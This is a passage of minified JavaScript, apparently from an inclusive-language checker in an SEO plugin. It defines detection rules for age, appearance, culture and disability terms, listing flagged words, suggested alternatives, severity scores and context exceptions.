dependants"],inclusiveAlternatives:["<i>older people</i>","<i>people older than 70</i>"],score:u.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:[n.orangeUnlessSomeoneWants,i.specificAgeGroup].join(" ")},{identifier:"elderly",nonInclusivePhrases:["elderly"],inclusiveAlternatives:["<i>older people</i>","<i>people older than 70</i>"],score:u.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:[n.orangeUnlessSomeoneWants,i.specificAgeGroup].join(" ")},{identifier:"senile",nonInclusivePhrases:["senile"],inclusiveAlternatives:"a specific characteristic or experience if it is known (e.g. <i>has Alzheimer's</i>)",score:u.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"senility",nonInclusivePhrases:["senility"],inclusiveAlternatives:"<i>dementia</i>",score:u.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"seniors",nonInclusivePhrases:["seniors"],inclusiveAlternatives:["<i>older people</i>","<i>people older than 70</i>"],score:u.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:[n.orangeUnlessSomeoneWants,i.specificAgeGroup].join(" "),rule:(e,t)=>(0,l.includesConsecutiveWords)(e,t).filter((0,a.isNotPrecededByException)(e,["high school","college","graduating","juniors and"])).filter((0,o.isNotFollowedByException)(e,t,["in high school","in college","who are graduating"])),ruleDescription:(0,d.notPrecededAndNotFollowed)(["high school","college","graduating","juniors and"],["in high school","in college","who are graduating"])},{identifier:"theAged",nonInclusivePhrases:["the aged"],inclusiveAlternatives:["<i>older people</i>","<i>people older than 70</i>"],score:u.SCORES.NON_INCLUSIVE,feedbackFormat:[n.redHarmful,i.specificAgeGroup].join(" "),rule:(e,t)=>(0,l.includesConsecutiveWords)(e,t).filter((0,c.default)(e,t)),ruleDescription:d.nonInclusiveWhenStandalone}];h.forEach((e=>{e.category="age",e.learnMoreUrl="https://yoa.st/inclusive-language-age"})),t.default=h},9214:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=r(78261),i=r(28045),a=r(88626),o=(s=r(77965))&&s.__esModule?s:{default:s},l=r(29700);const u=[{identifier:"albinos",nonInclusivePhrases:["albinos"],inclusiveAlternatives:"<i>people with albinism, albino people</i>",score:i.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessSomeoneWants},{identifier:"anAlbino",nonInclusivePhrases:["an albino"],inclusiveAlternatives:"<i>person with albinism, albino person</i>",score:i.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessSomeoneWants,rule:(e,t)=>(0,a.includesConsecutiveWords)(e,t).filter((0,o.default)(e,t)),ruleDescription:l.nonInclusiveWhenStandalone},{identifier:"obese",nonInclusivePhrases:["obese","overweight"],inclusiveAlternatives:"<i>has a higher weight, higher-weight person, person in higher weight body, heavier person</i>",score:i.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:[n.orangeUnlessSomeoneWants,n.preferredDescriptorIfKnown].join(" ")},{identifier:"obesitySingular",nonInclusivePhrases:["person with obesity","fat person"],inclusiveAlternatives:"<i>person who has a higher weight, higher-weight person, person in higher weight body, heavier person</i>",score:i.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:[n.orangeUnlessSomeoneWants,n.preferredDescriptorIfKnown].join(" ")},{identifier:"obesityPlural",nonInclusivePhrases:["people with obesity","fat people"],inclusiveAlternatives:"<i>people who have a higher weight, higher-weight people, people in higher weight bodies, heavier people</i>",score:i.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:[n.orangeUnlessSomeoneWants].join(" ")},{identifier:"verticallyChallenged",nonInclusivePhrases:["vertically challenged"],inclusiveAlternatives:"<i>little person, has short stature, someone with dwarfism</i>",score:i.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"midget",nonInclusivePhrases:["midget"],inclusiveAlternatives:"<i>little person, has short stature, someone with dwarfism</i>",score:i.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"midgets",nonInclusivePhrases:["midgets"],inclusiveAlternatives:"<i>little people, have short stature, people with dwarfism</i>",score:i.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"harelip",nonInclusivePhrases:["harelip"],inclusiveAlternatives:"<i>cleft lip, cleft palate</i>",score:i.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful}];u.forEach((e=>{e.category="appearance",e.learnMoreUrl="https://yoa.st/inclusive-language-appearance"})),t.default=u},20117:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(28045),n=r(88626),i=r(64948),a=r(78261),o=r(38362),l=r(29700);const u=[{identifier:"firstWorld",nonInclusivePhrases:["First World"],inclusiveAlternatives:"the specific name for the region or country",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful,caseSensitive:!0,rule:(e,t)=>(0,n.includesConsecutiveWords)(e,t).filter((0,i.isNotFollowedByException)(e,t,["War","war","Assembly","assembly"])),ruleDescription:(0,l.notFollowed)(["War","war","Assembly","assembly"])},{identifier:"thirdWorld",nonInclusivePhrases:["Third World"],inclusiveAlternatives:"the specific name for the region or country",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful,caseSensitive:!0,rule:(e,t)=>(0,n.includesConsecutiveWords)(e,t).filter((0,i.isNotFollowedByException)(e,t,["War","war","Quarterly","quarterly","country"])),ruleDescription:(0,l.notFollowed)(["War","war","Quarterly","quarterly","country"])},{identifier:"tribe",nonInclusivePhrases:["tribe"],inclusiveAlternatives:"<i>group, cohort, crew, league, guild, team, union</i>",score:s.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:o.orangeUnlessCultureUsesTerm},{identifier:"tribes",nonInclusivePhrases:["tribes"],inclusiveAlternatives:"<i>groups, cohorts, crews, leagues, guilds, teams, unions</i>",score:s.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:o.orangeUnlessCultureUsesTerm},{identifier:"exotic",nonInclusivePhrases:["exotic"],inclusiveAlternatives:"<i>unfamiliar, foreign, peculiar, fascinating, alluring, bizarre, non-native, introduced</i>",score:s.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:a.beCarefulHarmful+" Unless you are referring to animals, consider using an alternative, such as %2$s.",rule:(e,t)=>(0,n.includesConsecutiveWords)(e,t).filter((0,i.isNotFollowedByException)(e,t,["longhair","longhairs","shorthair","shorthairs"])),ruleDescription:(0,l.notFollowed)(["longhair","longhairs","shorthair","shorthairs"])},{identifier:"sherpa",nonInclusivePhrases:["sherpa"],inclusiveAlternatives:"<i>commander, coach, mastermind, coach, mentor</i>",score:s.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:o.orangeUnlessCultureOfOrigin},{identifier:"guru",nonInclusivePhrases:["guru"],inclusiveAlternatives:"<i>mentor, doyen, coach, mastermind, virtuoso, expert</i>",score:s.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:o.orangeUnlessCultureOfOrigin},{identifier:"gurus",nonInclusivePhrases:["gurus"],inclusiveAlternatives:"<i>mentors, doyens, coaches, masterminds, virtuosos, experts</i>",score:s.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:o.orangeUnlessCultureOfOrigin},{identifier:"nonWhite",nonInclusivePhrases:["non-white"],inclusiveAlternatives:"<i>people of color, POC, BIPOC</i> or specifying the racial groups mentioned",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"oriental",nonInclusivePhrases:["oriental"],inclusiveAlternatives:"<i>Asian</i>. When possible, be more specific (e.g. <i>East Asian</i>)",score:s.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:a.orangeUnlessAnimalsObjects},{identifier:"asianAmerican",nonInclusivePhrases:["Asian-American"],inclusiveAlternatives:"<i>Asian American</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful,caseSensitive:!0},{identifier:"asianAmericans",nonInclusivePhrases:["Asian-Americans"],inclusiveAlternatives:"<i>Asian Americans</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful,caseSensitive:!0},{identifier:"africanAmerican",nonInclusivePhrases:["African-American"],inclusiveAlternatives:"<i>African American, Black, American of African descent</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful,caseSensitive:!0},{identifier:"africanAmericans",nonInclusivePhrases:["African-Americans"],inclusiveAlternatives:"<i>African Americans, Black, Americans of African descent</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful,caseSensitive:!0},{identifier:"whiteRace",nonInclusivePhrases:["the White race"],inclusiveAlternatives:"",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.avoidHarmful,caseSensitive:!0},{identifier:"whitelist",nonInclusivePhrases:["whitelist"],inclusiveAlternatives:"<i>allowlist</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"whitelists",nonInclusivePhrases:["whitelists"],inclusiveAlternatives:"<i>allowlists</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"whitelisting",nonInclusivePhrases:["whitelisting"],inclusiveAlternatives:"<i>allowlisting</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"whitelisted",nonInclusivePhrases:["whitelisted"],inclusiveAlternatives:"<i>allowlisted</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"blacklist",nonInclusivePhrases:["blacklist"],inclusiveAlternatives:"<i>blocklist, denylist, faillist, redlist</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"blacklists",nonInclusivePhrases:["blacklists"],inclusiveAlternatives:"<i>blocklists, denylists, faillists, redlists</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"blacklisting",nonInclusivePhrases:["blacklisting"],inclusiveAlternatives:"<i>blocklisting, denylisting, faillisting, redlisting</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"blacklisted",nonInclusivePhrases:["blacklisted"],inclusiveAlternatives:"<i>blocklisted, denylisted, faillisted, redlisted</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"gyp",nonInclusivePhrases:["gyp"],inclusiveAlternatives:"<i>fraud, cheat, swindle, rip-off</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"gyps",nonInclusivePhrases:["gyps"],inclusiveAlternatives:"<i>frauds, cheats, swindles, rips off, rip-offs</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"gypped",nonInclusivePhrases:["gypped"],inclusiveAlternatives:"<i>cheated, swindled, ripped off</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"gypping",nonInclusivePhrases:["gypping"],inclusiveAlternatives:"<i>cheating, swindling, ripping off</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"gypsy",nonInclusivePhrases:["gypsy","gipsy"],inclusiveAlternatives:["<i>Rom, Roma person, Romani, Romani person</i>","<i>traveler, wanderer, free-spirited</i>"],score:s.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:[a.orangeUnlessSomeoneWants,"If you are referring to a lifestyle rather than the ethnic group or their music, consider using an alternative such as %3$s."].join(" ")},{identifier:"gypsies",nonInclusivePhrases:["gypsies","gipsies"],inclusiveAlternatives:["<i>Roma, Romani, Romani people</i>","<i>travelers, wanderers, free-spirited</i>"],score:s.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:[a.orangeUnlessSomeoneWants,"If you are referring to a lifestyle rather than the ethnic group or their music, consider using an alternative such as %3$s."].join(" ")},{identifier:"eskimo",nonInclusivePhrases:["eskimo","eskimos"],inclusiveAlternatives:"the specific name of the Indigenous community (for example, <i>Inuit</i>)",score:s.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:a.orangeUnlessSomeoneWants},{identifier:"coloredPerson",nonInclusivePhrases:["colored person"],inclusiveAlternatives:"<i>person of color, POC, BIPOC</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"coloredPeople",nonInclusivePhrases:["colored people"],inclusiveAlternatives:"<i>people of color, POC, BIPOC</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"americanIndians",nonInclusivePhrases:["American Indian","American Indians"],inclusiveAlternatives:"<i>Native American(s), Indigenous peoples of America</i>",score:s.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:a.orangeUnlessSomeoneWants,caseSensitive:!0},{identifier:"mulatto",nonInclusivePhrases:["mulatto","mulattos","mulattoes"],inclusiveAlternatives:"<i>mixed, biracial, multiracial</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"savage",nonInclusivePhrases:["savage"],inclusiveAlternatives:"<i>severe, dreadful, untamed, brutal, fearless, fierce, brilliant, amazing</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"civilized",nonInclusivePhrases:["civilized"],inclusiveAlternatives:"<i>proper, well-mannered, enlightened, respectful</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"primitive",nonInclusivePhrases:["primitive"],inclusiveAlternatives:"<i>early, rudimentary</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"powWow",nonInclusivePhrases:["pow-wow"],inclusiveAlternatives:"<i>chat, brief conversation, brainstorm, huddle</i>",score:s.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:o.orangeUnlessCultureOfOrigin},{identifier:"lowManOnTheTotemPole",nonInclusivePhrases:["low man on the totem pole"],inclusiveAlternatives:"<i>person of lower rank, junior-level</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"spiritAnimal",nonInclusivePhrases:["spirit animal"],inclusiveAlternatives:"<i>inspiration, hero, icon, idol</i>",score:s.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:o.orangeUnlessCultureOfOrigin},{identifier:"firstWorldCountries",nonInclusivePhrases:["first world countries"],inclusiveAlternatives:"the specific name for the regions or countries",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"firstWorldHyphen",nonInclusivePhrases:["first-world"],inclusiveAlternatives:"the specific name for the region or country",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"third-worldCountry",nonInclusivePhrases:["third-world country"],inclusiveAlternatives:"<i>low-income country, developing country</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"third-worldCountry",nonInclusivePhrases:["third world country"],inclusiveAlternatives:"<i>low-income country, developing country</i>",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:a.redHarmful},{identifier:"underdevelopedCountry",nonInclusivePhrases:["underdeveloped country"],inclusiveAlternatives:"developing country",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:"Avoid using <i>%1$s</i> as it is potentially harmful. Consider using an alternative, such as <i>%2$s</i> instead or be more specific about what aspect this word refers to."},{identifier:"underdevelopedCountries",nonInclusivePhrases:["underdeveloped countries"],inclusiveAlternatives:"developing countries",score:s.SCORES.NON_INCLUSIVE,feedbackFormat:"Avoid using <i>%1$s</i> as it is potentially harmful. Consider using an alternative, such as <i>%2$s</i> instead or be more specific about what aspect this word refers to."}];u.forEach((e=>{e.category="culture",e.learnMoreUrl="https://yoa.st/inclusive-language-culture"})),t.default=u},77018:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=r(78261),i=r(69960),a=r(17864),o=r(64948),l=r(5719),u=r(88626),c=r(28045),d=(s=r(77965))&&s.__esModule?s:{default:s},h=r(538),f=r(65736),p=r(29700);const g=[{identifier:"binge",nonInclusivePhrases:["binge"],inclusiveAlternatives:"<i>indulge, satiate, wallow, spree, marathon, consume excessively</i>",score:c.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:"Be careful when using <i>%1$s</i>, unless talking about a symptom of a medical condition. If you are not referencing a symptom, consider other alternatives to describe the trait or behavior, such as %2$s.",rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,o.isNotFollowedByException)(e,t,["drink","drinks","drinking","eating disorder","and purge","behavior","behaviors","behaviour","behaviours"])),ruleDescription:(0,p.notFollowed)(["drink","drinks","drinking","eating disorder","and purge","behavior","behaviors","behaviour","behaviours"])},{identifier:"bingeing",nonInclusivePhrases:["bingeing","binging"],inclusiveAlternatives:"<i>indulging, satiating, wallowing, spreeing, marathoning, consuming excessively</i>",score:c.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:"Be careful when using <i>%1$s</i>, unless talking about a symptom of a medical condition. If you are not referencing a symptom, consider other alternatives to describe the trait or behavior, such as %2$s.",rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,o.isNotFollowedByException)(e,t,["and purging","behavior","behaviors","behaviour","behaviours"])),ruleDescription:(0,p.notFollowed)(["and purging","behavior","behaviors","behaviour","behaviours"])},{identifier:"binged",nonInclusivePhrases:["binged"],inclusiveAlternatives:"<i>indulged, satiated, wallowed, spreed, marathoned, consumed excessively</i>",score:c.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:"Be careful when using <i>%1$s</i>, unless talking about a symptom of a medical condition. If you are not referencing a symptom, consider other alternatives to describe the trait or behavior, such as %2$s.",rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,o.isNotFollowedByException)(e,t,["and purged"])),ruleDescription:(0,p.notFollowed)(["and purged"])},{identifier:"binges",nonInclusivePhrases:["binges"],inclusiveAlternatives:"<i>indulges, satiates, wallows, sprees, marathons, consumes excessively</i>",score:c.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:"Be careful when using <i>%1$s</i>, unless talking about a symptom of a medical condition. If you are not referencing a symptom, consider other alternatives to describe the trait or behavior, such as %2$s.",rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,o.isNotFollowedByException)(e,t,["and purges"])),ruleDescription:(0,p.notFollowed)(["and purges"])},{identifier:"wheelchairBound",nonInclusivePhrases:["wheelchair-bound","wheelchair bound","confined to a wheelchair"],inclusiveAlternatives:"<i>uses a wheelchair, is a wheelchair user</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"mentallyRetarded",nonInclusivePhrases:["mentally retarded"],inclusiveAlternatives:"<i>person with an intellectual disability</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"retarded",nonInclusivePhrases:["retarded"],inclusiveAlternatives:"<i>uninformed, ignorant, foolish, irrational, insensible</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:[n.avoidDerogatory,n.alternative].join(" "),rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,a.isNotPrecededByException)(e,["mentally"])),ruleDescription:(0,p.notPreceded)(["mentally"])},{identifier:"alcoholic",nonInclusivePhrases:["an alcoholic"],inclusiveAlternatives:"<i>person with alcohol use disorder</i>",score:c.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessSomeoneWants,rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,o.isNotFollowedByException)(e,t,["drink","beverage"])),ruleDescription:(0,p.notFollowed)(["drink","beverage"])},{identifier:"alcoholics",nonInclusivePhrases:["alcoholics"],inclusiveAlternatives:"<i>people with alcohol use disorder</i>",score:c.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessSomeoneWants,rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,o.isNotFollowedByException)(e,t,["anonymous"])),ruleDescription:(0,p.notFollowed)(["anonymous"])},{identifier:"cripple",nonInclusivePhrases:["a cripple"],inclusiveAlternatives:"<i>person with a physical disability, a physically disabled person</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:[n.avoidDerogatory,n.alternative].join(" ")},{identifier:"crippled",nonInclusivePhrases:["crippled"],inclusiveAlternatives:"<i>has a physical disability, is physically disabled</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"daft",nonInclusivePhrases:["daft"],inclusiveAlternatives:"<i>uninformed, ignorant, foolish, inconsiderate, irrational, reckless</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"handicapped",nonInclusivePhrases:["handicapped"],inclusiveAlternatives:"<i>disabled, person with a disability</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"handicap",nonInclusivePhrases:["handicap"],inclusiveAlternatives:"<i>disability</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful,rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,o.isNotFollowedByException)(e,t,["toilet","toilets","parking","bathroom","bathrooms","stall","stalls"])),ruleDescription:(0,p.notFollowed)(["toilet","toilets","parking","bathroom","bathrooms","stall","stalls"])},{identifier:"insane",nonInclusivePhrases:["insane"],inclusiveAlternatives:"<i>wild, confusing, unpredictable, impulsive, reckless, out of control, unbelievable, amazing, incomprehensible, nonsensical, outrageous, ridiculous</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"imbecile",nonInclusivePhrases:["imbecile"],inclusiveAlternatives:"<i>uninformed, ignorant, foolish, inconsiderate, irrational, reckless</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:[n.avoidDerogatory,n.alternative].join(" ")},{identifier:"specialNeeds",nonInclusivePhrases:["special needs"],inclusiveAlternatives:["<i>functional needs, support needs</i>","<i>disabled, person with a disability</i>"],score:c.SCORES.NON_INCLUSIVE,feedbackFormat:[n.avoidHarmful,"Consider using an alternative, such as %2$s when referring to someone's needs, or %3$s when referring to a person."].join(" ")},{identifier:"hardOfHearing",nonInclusivePhrases:["hard-of-hearing"],inclusiveAlternatives:"<i>hard of hearing, partially deaf, has partial hearing loss</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"hearingImpaired",nonInclusivePhrases:["hearing impaired"],inclusiveAlternatives:"<i>deaf or hard of hearing, partially deaf, has partial hearing loss</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"functioning",nonInclusivePhrases:["high functioning","low functioning"],inclusiveAlternatives:"describing the specific characteristic or experience",score:c.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:"Be careful when using <i>%1$s</i> as it is potentially harmful. Consider using an alternative, such as %2$s, unless referring to how you characterize your own condition.",rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,o.isNotFollowedByException)(e,t,["autism"])),ruleDescription:(0,p.notFollowed)(["autism"])},{identifier:"autismHigh",nonInclusivePhrases:["high functioning autism","high-functioning autism"],inclusiveAlternatives:"<i>autism with high support needs</i> or describing the specific characteristic or experience",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:"Avoid using <i>%1$s</i> as it is potentially harmful. Consider using an alternative, such as %2$s, unless referring to how you characterize your own condition."},{identifier:"autismLow",nonInclusivePhrases:["low functioning autism","low-functioning autism"],inclusiveAlternatives:"<i>autism with low support needs</i> or describing the specific characteristic or experience",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:"Avoid using <i>%1$s</i> as it is potentially harmful. Consider using an alternative, such as %2$s, unless referring to how you characterize your own condition."},{identifier:"lame",nonInclusivePhrases:["lame"],inclusiveAlternatives:"<i>boring, lousy, unimpressive, sad, corny</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"lamer",nonInclusivePhrases:["lamer"],inclusiveAlternatives:"<i>more boring, lousier, more unimpressive, sadder, cornier</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"lamest",nonInclusivePhrases:["lamest"],inclusiveAlternatives:"<i>most boring, lousiest, most unimpressive, saddest, corniest</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"commitSuicide",nonInclusivePhrases:["commit suicide"],inclusiveAlternatives:"<i>take one's life, die by suicide, kill oneself</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"committingSuicide",nonInclusivePhrases:["committing suicide"],inclusiveAlternatives:"<i>taking one's life, dying by suicide, killing oneself</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"commitsSuicide",nonInclusivePhrases:["commits suicide"],inclusiveAlternatives:"<i>takes one's life, dies by suicide, kills oneself</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"committedSuicide",nonInclusivePhrases:["committed suicide"],inclusiveAlternatives:"<i>took one's life, died by suicide, killed themself</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"handicapParking",nonInclusivePhrases:["handicap parking"],inclusiveAlternatives:"<i>accessible parking</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"fellOnDeafEars",nonInclusivePhrases:["fell on deaf ears"],inclusiveAlternatives:"<i>was not addressed, was ignored, was disregarded</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"turnOnBlindEye",nonInclusivePhrases:["turn a blind eye"],inclusiveAlternatives:"<i>ignore, pretend not to notice</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"blindLeadingBlind",nonInclusivePhrases:["the blind leading the blind"],inclusiveAlternatives:"<i>ignorant, misguided, incompetent, unqualified, insensitive, unaware</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"handicapBathroom",nonInclusivePhrases:["handicap bathroom","handicap bathrooms"],inclusiveAlternatives:"<i>accessible bathroom(s)</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"handicapToilet",nonInclusivePhrases:["handicap toilet","handicap toilets"],inclusiveAlternatives:"<i>accessible toilet(s)</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"handicapStall",nonInclusivePhrases:["handicap stall","handicap stalls"],inclusiveAlternatives:"<i>accessible stall(s)</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"stupid",nonInclusivePhrases:["stupid"],inclusiveAlternatives:["<i>uninformed, ignorant, foolish, inconsiderate, irrational, reckless</i>"],score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"dumb",nonInclusivePhrases:["dumb","dumber","dumbest"],inclusiveAlternatives:["<i>uninformed, ignorant, foolish, inconsiderate, irrational, reckless</i>"],score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful,rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,a.isNotPrecededByException)(e,["deaf and"])),ruleDescription:(0,p.notPreceded)(["deaf and"])},{identifier:"deaf",nonInclusivePhrases:["deaf-mute","deaf and dumb"],inclusiveAlternatives:"<i>deaf</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"addict",nonInclusivePhrases:["addict"],inclusiveAlternatives:"<i>person with a (drug, alcohol, ...) addiction, person with substance abuse disorder</i>",score:c.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessSomeoneWants},{identifier:"addicts",nonInclusivePhrases:["addicts"],inclusiveAlternatives:"<i>people with a (drug, alcohol, ...) addiction, people with substance abuse disorder</i>",score:c.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessSomeoneWants},{identifier:"brainDamaged",nonInclusivePhrases:["brain-damaged"],inclusiveAlternatives:"<i>person with a (traumatic) brain injury</i>",score:c.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessSomeoneWants},{identifier:"differentlyAbled",nonInclusivePhrases:["differently abled","differently-abled"],inclusiveAlternatives:"<i>disabled, person with a disability</i>",score:c.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessSomeoneWants},{identifier:"epilepticFit",nonInclusivePhrases:["epileptic fit"],inclusiveAlternatives:"<i>epileptic seizure</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"epilepticFits",nonInclusivePhrases:["epileptic fits"],inclusiveAlternatives:"<i>epileptic seizures</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"sanityCheck",nonInclusivePhrases:["sanity check"],inclusiveAlternatives:"<i>final check, confidence check, rationality check, soundness check</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"to not be crazy about",nonInclusivePhrases:["crazy about"],inclusiveAlternatives:"<i>to not be impressed by, to not be enthusiastic about, to not be into, to not like</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:["Avoid using <i>to not be crazy about</i> as it is potentially harmful.",n.alternative].join(" "),rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,a.isPrecededByException)(e,h.formsOfToBeNotWithOptionalIntensifier)),ruleDescription:"Targeted when preceded by a negated form of 'to be' or 'to get' and an optional intensifier."},{identifier:"to be crazy about",nonInclusivePhrases:["crazy 